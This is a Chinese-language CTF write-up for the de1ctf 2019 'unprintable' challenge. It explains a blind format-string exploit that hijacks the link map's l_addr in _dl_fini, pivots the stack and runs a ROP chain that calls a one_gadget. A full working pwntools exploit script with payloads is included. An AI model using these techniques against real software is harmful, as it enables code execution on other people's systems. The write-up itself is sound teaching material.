de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)

de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下,存在一個非棧上的格式化字符串漏洞,但是關閉了文件描述符1,導致不能輸出,並且printf結束後就調用了exit(0)

看看棧裏有沒有什麼可用的數據

基本沒有,要想劫持printf返回地址進而多次利用,是不行的,因爲printf一次性不能實現,即不能修改棧中數據指向printf返回地址後繼續利用新得到這個地址取修改printf返回地址,即其不具有傳遞性,其值依然是之前的值,因此必須分步。

在這裏,我們發現一個有用的指針,該指針指向的地方正好就對應着dllinkmap->l_addr

exit會調用dl_fini函數,我們看看dl_fini函數的源碼

本來l->l_addr爲0,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指針指向程序中的fini_array段的地址,也就是l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值爲0x0000000000600DD8

現在,我們劫持l_addr,使得l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr偏移到我們的buf裏,這樣,我們就能在buf裏僞造fini_array,進而進行二次利用。

因此,第一次,我們的payload爲

payload ='%'+str(0x298)+'c'+'%26$hn'

payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)

sh.sendline(payload)

這樣做以後,l->addr變成了0x298,l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr處就偏移到了我們buf裏,而此處我們佈下了地址0x00000000004007A3,於是0x00000000004007A3處會被執行。

當第二次回到printf的時候,棧裏已經有許多成鏈的棧地址可以用了,並且,有一個直接指向了printf的返回地址,我們可以直接利用。

這樣,我們就在buf里布置下rop,然後利用printf成鏈攻擊劫持函數棧遷移返回到buf裏執行rop。

其中有一個gadget,我們可以用來將bss段上的stdout指針改成one_gadget地址,然後在csu裏面進行call即可。

.text:00000000004006E8 adc     [rbp+48h], edx

#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rsp = 0x000000000040082d
csu_pop = 0x000000000040082A
csu_call = 0x0000000000400810
stderr_ptr_addr = 0x0000000000601040
one_gadget = 0xf1147
offset = one_gadget - libc.sym['_IO_2_1_stderr_']

'''.text:00000000004006E8 adc     [rbp+48h], edx
.text:00000000004006EB mov     ebp, esp
.text:00000000004006ED call    deregister_tm_clones
.text:00000000004006F2 pop     rbp
.text:00000000004006F3 mov     cs:completed_7594, 1
.text:00000000004006FA rep retn
'''
adc_p_rbp_edx = 0x00000000004006E8

sh = process('./de1ctf_2019_unprintable')
#sh = remote('node3.buuoj.cn',26685)
sh.recvuntil('This is your gift: ')
stack_addr = int(sh.recvuntil('\n',drop = True),16)
print 'stack_addr=',hex(stack_addr)

#第一步,更改ld.so裏的offset,使得array函數數組偏移到bss段上的buf裏,重新執行read、printf
#第一步的作用是在棧裏留下了大量的棧指針
payload ='%'+str(0x298)+'c'+'%26$hn'
payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)
sh.sendline(payload)
sleep(0.5)
rop_addr = 0x0000000000601260
#利用gadget將stderr指針改爲one_gadget指針
rop = p64(csu_pop)
tmp = stderr_ptr_addr-0x48
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)
#調用one_gadget
rop += p64(csu_pop)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(stderr_ptr_addr) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(csu_call)


rop_addr = rop_addr - 0x18
#第二次,我們在buf里布下rop,同時劫持printf返回地址,進行下一輪利用
stdout_ptr_addr = 0x0000000000601020
payload = '%' + str(0xA3) + 'c%23$hhn'
payload = payload.ljust(0x200,'\x00')
payload += rop
sh.sendline(payload)
sleep(0.5)
#接下來我們在棧里布下rop_addr
for i in range(6):
   data = (stack_addr - 0x118 + i) & 0xFF
   if data < 0xA3:
      payload = '%' + str(data) + 'c%18$hhn%' + str(0xA3-data) + 'c%23$hhn'
   else:
      payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%18$hhn'
   sh.sendline(payload)
   sleep(0.5)
   data = rop_addr & 0xFF
   if data == 0:
      payload = '%13$hhn%' + str(0xA3) + 'c%23$hhn'
   else:
      if data < 0xA3:
         payload = '%' + str(data) + 'c%13$hhn%' + str(0xA3-data) + 'c%23$hhn'
      else:
         payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%13$hhn'
   rop_addr = rop_addr >> 0x8
   sh.sendline(payload)
   sleep(0.5)
sleep(0.5)
#接下來,劫持printf的返回地址爲pop rsp,使得棧遷移到buf裏執行rop
payload = '%' + str(pop_rsp & 0xFFFF) + 'c%23$hn'
sh.sendline(payload)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章